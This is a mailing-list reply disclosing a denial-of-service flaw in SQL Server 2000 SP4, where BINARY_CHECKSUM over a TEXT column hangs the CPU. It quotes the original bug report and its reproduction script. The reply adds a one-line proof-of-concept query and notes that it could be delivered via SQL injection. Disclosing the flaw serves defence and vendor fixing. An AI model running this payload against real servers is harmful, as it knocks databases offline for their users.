Re: Denial of Service: BINARY_CHECKSUM of TEXT column hangs CPU: SQL 2K SP4

Stripping the problem down as proof of concept, here is a one-liner that
makes use of the DOS attack:

EXEC('CREATE TABLE #T(Y text);INSERT INTO #T VALUES('''');SELECT
BINARY_CHECKSUM(*)from(SELECT Y FROM #T)B;'

I don't know of any login that, once validated as a login to a server,
couldn't run this command. Additionally, it could be used in a SQL
injection.

Thanks,

Chuck



"Chuck Hawkins" <charles.hawkins@xxxxxxxxxxxxxxxxxx> wrote in message
news:uvjDvFoIGHA.3036@xxxxxxxxxxxxxxxxxxxxxxx
>I was comparing two tables using a BINARY_CHECKSUM(*) function across the
> rows when I ran into a problem. When one of my tables happened to have a
> TEXT column in it, the query calculating the BINARY_CHECKSUM(*) pegged the
> CPU at 100% and wouldn't let go, even when I killed Query Analyzer. Since
> it
> was a dual proc server, it was only 50% CPU utilization overall. If I ran
> the query twice in separate QA sessions, it pegged the whole server at
> 100%
> CPU and I couldn't make any more SQL Server connections for that instance.
> As a test, I let this go on overnight with no end in site for the CPU
> utilization. In order to regain control of the instance, I had to kill the
> SQLSERVR.EXE process in Task Manager on the server.
>
> This is in SQL 2000 SP4 on a dual processor Intel server on top of Windows
> 2000 SP4.
>
> I did a Google search and couldn't come up with any problems regarding a
> TEXT column and the BINARY_CHECKSUM function. BOL says, regarding
> BINARY_CHECKSUM:
> "Noncomparable data types are text, ntext, image, and cursor, as well as
> sql_variant with any of the above types as its base type." It doesn't say,
> however, that it will take your CPU to 100% utilization and not let go.
>
> Here is a sample scenario and query that duplicates my issue. Run it first
> with the XSL column commented out and then run it after un-commenting the
> XSL column to cause the problem. Be prepared to kill your SQLSERVR.EXE
> process in Task Manager to recover the CPU.
>
> And, oh by the way, since I did this in TEMPDB (you could do it with a
> #temp table), essentially any login that
> has any access at all to your SQL Server can lock it up and you will not
> know what hit you since TEMPDB will be rebuilt after you kill SQLSERVR.EXE
> and restart it. There were no error log message or event log messages to
> give me a clue as to what was happening.
>
> Chuck
>
>
> USE TEMPDB
> GO
>
> select @@version -- Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)
>
> if exists (select * from dbo.sysobjects where id = object_id(N'[TESTXSL]')
> and OBJECTPROPERTY(id, N'IsUserTable') = 1)
> drop table [TESTXSL]
> GO
>
> if not exists (select * from dbo.sysobjects where id =
> object_id(N'[dbo].[TESTXSL]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
> BEGIN
> CREATE TABLE [TESTXSL] (
> [XSL_ID] [int] NOT NULL ,
> [XSL] [text] COLLATE SQL_Latin1_General_CP1_CI_AS NULL
> CONSTRAINT [PK_TESTXSL] PRIMARY KEY CLUSTERED
> (
> [XSL_ID]
> )
> )
> END
>
> GO
>
> --
> -- TABLE INSERT STATEMENTS
> --
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 40, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 50, ' ' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 60, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 70, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 80, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 90, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 100, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 110, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 120, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 140, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 150, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 160, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 170, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 180, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 190, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 200, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 210, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 220, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 230, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 240, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 250, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 260, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 270, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 280, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 290, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 300, '' )
> go
> INSERT INTO TESTXSL ( XSL_ID, XSL )
> VALUES ( 310, 'sa' )
> go
>
>
> SELECT *,BINARY_CHECKSUM(*) AS CHECKCODE from (
> SELECT XSL_ID--,XSL
> FROM tempdb.dbo.TESTXSL (nolock)
> ) B1
>
>
>
>
>


.

Relevant Pages